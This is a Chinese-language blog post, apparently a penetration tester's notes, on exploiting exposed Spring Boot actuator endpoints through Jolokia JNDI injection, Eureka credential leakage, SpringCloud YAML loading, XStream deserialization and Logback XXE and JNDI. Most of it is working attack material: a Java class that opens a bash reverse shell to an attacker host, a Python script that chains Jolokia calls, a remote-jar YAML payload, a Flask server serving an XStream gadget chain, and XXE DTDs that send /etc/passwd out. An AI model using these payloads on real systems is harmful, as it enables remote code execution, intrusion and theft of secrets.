Springboot漏洞利用

前言

平时遇到很多springboot框架的系统,总结一下常见的利用方式,并且记录一下复现过程中所遇到的问题。

Jolokia RCE(JNDI注入)

利用前提,查看/jolokia/list 中存在的是否存在org.apache.catalina.mbeans.MBeanFactory类提供的createJNDIRealm方法,以及java满足rmi远程加载限制的版本,看下图。

祭出神图:

image-20200729155302181

默认配置的contextFactory:

image-20200714214318953

访问http://ip:port/jolokia/list,查看存在createJNDIRealm:

image-20200729162032044

架设rmi服务:

image-20200805154339918

架设web服务,放置恶意利用类:

image-20200805154413412

恶意利用类:

1
2
3
4
5
6
7
8
9
public class Exploit_shell {
static {
try {
java.lang.Runtime.getRuntime().exec(new String[]{"bash","-c","bash -i >& /dev/tcp/172.20.10.3/9999 0>&1"});
} catch (Exception e) {
// do nothing
}
}
}

利用poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#encoding=utf-8
import requests as req
import sys
from pprint import pprint

url = sys.argv[1] + "/jolokia/"
pprint(url)
#创建JNDIRealm
create_JNDIrealm = {
"mbean": "Tomcat:type=MBeanFactory",
"type": "EXEC",
"operation": "createJNDIRealm",
"arguments": ["Tomcat:type=Engine"]
}
#写入contextFactory
set_contextFactory = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "contextFactory",
"value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}
#写入connectionURL为自己公网RMI service地址
set_connectionURL = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "connectionURL",
"value": "rmi://172.20.10.3:1099/Exploit_shell"
}
#停止Realm
stop_JNDIrealm = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "stop",
"arguments": []
}
#运行Realm,触发JNDI 注入
start = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "start",
"arguments": []
}
expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start]
for i in expoloit:
rep = req.post(url, json=i)
pprint(rep.json())

执行后,加载远程恶意类,成功反弹shell:

image-20200805154612574

小思考

实际环境下,我遇到java版本是不满足rmi的利用的,然后想试一下ldap加载利用类,修改了py脚本的set_contextFactory(这个其实不需要修改,因为我在调试的过程中发现默认是使用的ldap的com.sun.jndi.ldap.LdapCtxFactory,只有使用rmi的时候才需要修改为rmi的factory类),以及加载的url为ldap协议,发现是不可行的。经过我的调试分析,该处利用的是rmi的initialdircontext(env)方法中存在jndi注入,正常情况下initialdircontext(env)的env是不可控的,但是这里可以直接通过提供的方法直接修改env的值,并且rmi在初始化过程直接调用了lookup(),刚好触发jndi注入。

image-20200729160732716

image-20200729161033440

对比了ldap和rmi的factory类,实际ldap是不会在initialdircontext(env)方法中触发jndi注入的,所以这里是用不了ldap协议,只能使用rmi协议。(这里只是我自己调试得出来的结果,并不是完全正确的,因为对springboot并不是很熟悉,可能其他大佬已经研究新的利用)

image-20200715220903030

env 获取敏感信息

默认情况下利用该漏洞可以获取带*的敏感信息,利用前提是需要系统的依赖中包含有eureka-client。

查看/env中想要获取的敏感信息,比如这里的数据库密码:

image-20200720202326624

设置eureka.client的服务中心地址为http://${变量名}@ip/

image-20200720202640340

发送refresh包,有请求传入,获取到的信息用base64解码即可。

image-20200720204305573

image-20200720204635602

SpringCloud env yaml利用

利用前提Springboot使用SpringCloud相关组件,会存在spring.cloud.bootstrap.location属性,通过修改 spring.cloud.bootstrap.location 环境变量实现 RCE

yaml文件远程加载恶意利用jar包:

1
2
3
4
5
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:8888/yaml.jar"]
]]
]

image-20200720231134160

可以使用命令进行快速编译打包:

1
2
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

image-20200720233048643

将恶意代码编译后打包成jar包,部署在web服务器上:

image-20200729154105614

image-20200720230925293

设置spring.cloud.bootstrap.location为yaml文件所在的vps。

image-20200720233112107

发送刷新包,弹出计算器(如需反弹或执行命令可以修改利用类的代码)

image-20200720233022076

Springcloud-Netflix xstream反序列化

利用前提,服务器使用Eureka-Client,即有加载spring-cloud-starter-netflix-eureka-client依赖。

创建一个服务,将xstream格式的内容返回给请求者,这里可以使用python的flask框架快速搭建(python要先pip安装flask模块):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from flask import Flask, Response

app = Flask(__name__)
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods = ['GET', 'POST'])
def catch_all(path):
xml = """<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>open</string>
<string>/System/Applications/Calculator.app</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next>foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
return Response(xml, mimetype='application/xml')

if __name__ == '__main__':
app.run(host='0.0.0.0', port=9000, debug=True)

image-20200721223255897

发送请求设置服务地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /env HTTP/1.1
Host: 192.168.0.101:8090
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 70

eureka.client.serviceUrl.defaultZone=http://192.168.0.101:9000/xstream

刷新:

image-20200729163130406

弹出计算器:

image-20200805144136621

注:在复现过程中,直接在标签中加上命令和参数发现无法执行,原来需要使用两个string标签拼接。该poc与Struts2-052的利用链基本一样,但是不是使用类型而是

Jolokia XXE(Logback)

利用前提,查看jolokia/list中存在的 Mbeans,是否存在logback 库提供的reloadByURL方法

image-20200806084926783

logback.xml:

1
2
3
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://172.20.10.3:8090/fileread.dtd">%remote;%int;]>
<a>&trick;</a>

fileread.dtd:

1
2
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">

访问链接加载xml:

1
http://172.20.10.3:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/172.20.10.3!/logback.xml

将dtd和xml放置在同一服务器:

image-20200806101731095

成功读取文件内容:

image-20200806102027810

小提示

在java中可以使用netdoc协议读取文件,并且该漏洞可以列目录读取文件名为目录即可。注:读取文件内容包含<,&等特殊字符时,会报错,可采取CDATA标签拼接,参考最后的文章(本地测试无法实现,原因未知)。

Jolokia RCE(Logback)

利用前提与xxe类似。

访问链接:

1
http://127.0.0.1:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/172.20.10.3:8090/!/logback_rce.xml

logback_rce.xml:

1
2
3
<configuration>
<insertFromJNDI env-entry-name="rmi://172.20.10.3:1099/Exploit_shell" as="appName" />
</configuration>

Exploit_shell.java:

1
2
3
4
5
6
7
8
9
public class Exploit_shell {
static {
try {
java.lang.Runtime.getRuntime().exec(new String[]{"bash","-c","bash -i >& /dev/tcp/172.20.10.3/9999 0>&1"});
} catch (Exception e) {
// do nothing
}
}
}

web服务:

image-20200806162417622

rmi服务:

image-20200806162357151

反弹shell:

image-20200806162728554

参考链接:

https://xz.aliyun.com/t/7811

https://www.anquanke.com/post/id/173265

https://www.anquanke.com/post/id/204314

https://xz.aliyun.com/t/3357